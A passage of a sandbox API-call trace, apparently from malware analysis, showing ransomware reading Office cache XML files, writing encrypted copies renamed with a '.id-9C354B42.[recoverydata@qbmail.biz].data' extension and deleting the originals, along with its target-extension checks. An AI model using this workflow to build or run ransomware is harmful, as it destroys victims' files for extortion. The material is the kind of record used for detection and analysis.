lstrlenW (lpString=".xlsx") returned 5 [0076.294] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.294] lstrlenW (lpString=".ppt") returned 4 [0076.294] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.294] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.294] lstrlenW (lpString=".zip") returned 4 [0076.294] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.294] lstrlenW (lpString=".rar") returned 4 [0076.295] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.295] lstrlenW (lpString=".bz2") returned 4 [0076.295] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.295] lstrlenW (lpString=".7z") returned 3 [0076.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.295] lstrlenW (lpString=".dbf") returned 4 [0076.295] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.295] lstrlenW (lpString=".1cd") returned 4 [0076.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.295] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.295] lstrlenW (lpString=".jpg") returned 4 [0076.295] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.295] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.295] lstrlenW (lpString="Office32MUI.xml") returned 15 [0076.296] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.297] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1383) returned 1 [0076.297] CloseHandle (hObject=0x1c8) returned 1 [0076.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0076.297] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0076.297] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0076.297] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.298] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0076.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0076.299] GetLastError () returned 0x0 [0076.299] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x567, lpOverlapped=0x0) returned 1 [0076.568] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x570, lpOverlapped=0x0) returned 1 [0077.247] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.247] WriteFile (in: hFile=0x194, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0077.247] SetEndOfFile (hFile=0x194) returned 1 [0077.247] CloseHandle (hObject=0x194) returned 1 [0077.248] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.248] SetEndOfFile (hFile=0x1c8) returned 1 [0077.448] CloseHandle (hObject=0x1c8) returned 1 [0077.448] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.449] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0077.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.449] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.449] lstrlenW (lpString=".doc") returned 4 [0077.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.449] lstrlenW (lpString=".docx") returned 5 [0077.449] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0077.449] lstrlenW (lpString=".pdf") returned 4 [0077.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.449] lstrlenW (lpString=".xls") returned 4 [0077.449] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.449] lstrlenW (lpString=".xlsx") returned 5 [0077.449] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0077.449] lstrlenW (lpString=".ppt") returned 4 [0077.449] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString=".zip") returned 4 [0077.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.450] lstrlenW (lpString=".rar") returned 4 [0077.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString=".bz2") returned 4 [0077.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString=".7z") returned 3 [0077.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString=".dbf") returned 4 [0077.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString=".1cd") returned 4 [0077.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString=".jpg") returned 4 [0077.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.450] lstrlenW (lpString=".doc") returned 4 [0077.451] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString=".docx") returned 5 [0077.451] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0077.451] lstrlenW (lpString=".pdf") returned 4 [0077.451] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString=".xls") returned 4 [0077.451] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString=".xlsx") returned 5 [0077.451] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0077.451] lstrlenW (lpString=".ppt") returned 4 [0077.451] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.451] lstrlenW (lpString=".zip") returned 4 [0077.451] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.451] lstrlenW (lpString=".rar") returned 4 [0077.451] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString=".bz2") returned 4 [0077.451] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.451] lstrlenW (lpString=".7z") returned 3 [0077.451] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.451] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.452] lstrlenW (lpString=".dbf") returned 4 [0077.452] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.452] lstrlenW (lpString=".1cd") returned 4 [0077.452] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.452] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0077.452] lstrlenW (lpString=".jpg") returned 4 [0077.452] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.452] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0077.452] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0077.452] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0077.454] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1606) returned 1 [0077.454] CloseHandle (hObject=0x1c8) returned 1 [0077.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0077.454] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0077.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0077.454] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.454] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.455] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0077.455] GetLastError () returned 0x0 [0077.455] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x646, lpOverlapped=0x0) returned 1 [0078.559] WriteFile (in: hFile=0x1d8, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x650, lpOverlapped=0x0) returned 1 [0078.560] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0078.560] WriteFile (in: hFile=0x1d8, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0078.560] SetEndOfFile (hFile=0x1d8) returned 1 [0078.560] CloseHandle (hObject=0x1d8) returned 1 [0078.561] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.561] SetEndOfFile (hFile=0x1c8) returned 1 [0078.562] CloseHandle (hObject=0x1c8) returned 1 [0078.563] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0078.563] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0078.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.563] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.563] lstrlenW (lpString=".doc") returned 4 [0078.563] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.563] lstrlenW (lpString=".docx") returned 5 [0078.564] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0078.564] lstrlenW (lpString=".pdf") returned 4 [0078.564] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.564] lstrlenW (lpString=".xls") returned 4 [0078.564] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.564] lstrlenW (lpString=".xlsx") returned 5 [0078.564] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0078.564] lstrlenW (lpString=".ppt") returned 4 [0078.564] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.564] lstrlenW (lpString=".zip") returned 4 [0078.564] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.564] lstrlenW (lpString=".rar") returned 4 [0078.564] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.564] lstrlenW (lpString=".bz2") returned 4 [0078.564] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.564] lstrlenW (lpString=".7z") returned 3 [0078.564] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.564] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.564] lstrlenW (lpString=".dbf") returned 4 [0078.564] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.565] lstrlenW (lpString=".1cd") returned 4 [0078.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.565] lstrlenW (lpString=".jpg") returned 4 [0078.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.565] lstrlenW (lpString=".doc") returned 4 [0078.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString=".docx") returned 5 [0078.565] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0078.565] lstrlenW (lpString=".pdf") returned 4 [0078.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString=".xls") returned 4 [0078.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.565] lstrlenW (lpString=".xlsx") returned 5 [0078.565] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0078.566] lstrlenW (lpString=".ppt") returned 4 [0078.566] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.566] lstrlenW (lpString=".zip") returned 4 [0078.566] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.566] lstrlenW (lpString=".rar") returned 4 [0078.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.566] lstrlenW (lpString=".bz2") returned 4 [0078.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.566] lstrlenW (lpString=".7z") returned 3 [0078.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.566] lstrlenW (lpString=".dbf") returned 4 [0078.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.566] lstrlenW (lpString=".1cd") returned 4 [0078.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0078.566] lstrlenW (lpString=".jpg") returned 4 [0078.567] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.567] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0078.567] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0078.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0078.569] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=1452) returned 1 [0078.569] CloseHandle (hObject=0x1c8) returned 1 [0078.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0078.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0078.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0078.570] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.570] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0078.570] GetLastError () returned 0x0 [0078.570] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0079.189] WriteFile (in: hFile=0x1d8, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0079.192] ReadFile (in: hFile=0x1c8, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.192] WriteFile (in: hFile=0x1d8, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0079.193] SetEndOfFile (hFile=0x1d8) returned 1 [0079.194] CloseHandle (hObject=0x1d8) returned 1 [0079.198] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.198] SetEndOfFile (hFile=0x1c8) returned 1 [0079.200] CloseHandle (hObject=0x1c8) returned 1 [0079.201] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.202] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0079.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.203] lstrlenW (lpString=".doc") returned 4 [0079.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.203] lstrlenW (lpString=".docx") returned 5 [0079.203] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0079.203] lstrlenW (lpString=".pdf") returned 4 [0079.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.203] lstrlenW (lpString=".xls") returned 4 [0079.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.203] lstrlenW (lpString=".xlsx") returned 5 [0079.203] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0079.203] lstrlenW (lpString=".ppt") returned 4 [0079.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.204] lstrlenW (lpString=".zip") returned 4 [0079.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.204] lstrlenW (lpString=".rar") returned 4 [0079.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.204] lstrlenW (lpString=".bz2") returned 4 [0079.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.204] lstrlenW (lpString=".7z") returned 3 [0079.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.204] lstrlenW (lpString=".dbf") returned 4 [0079.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.205] lstrlenW (lpString=".1cd") returned 4 [0079.205] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.205] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0079.205] lstrlenW (lpString=".jpg") returned 4 [0079.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.205] lstrlenW (lpString="C:\\MSOCache\\All 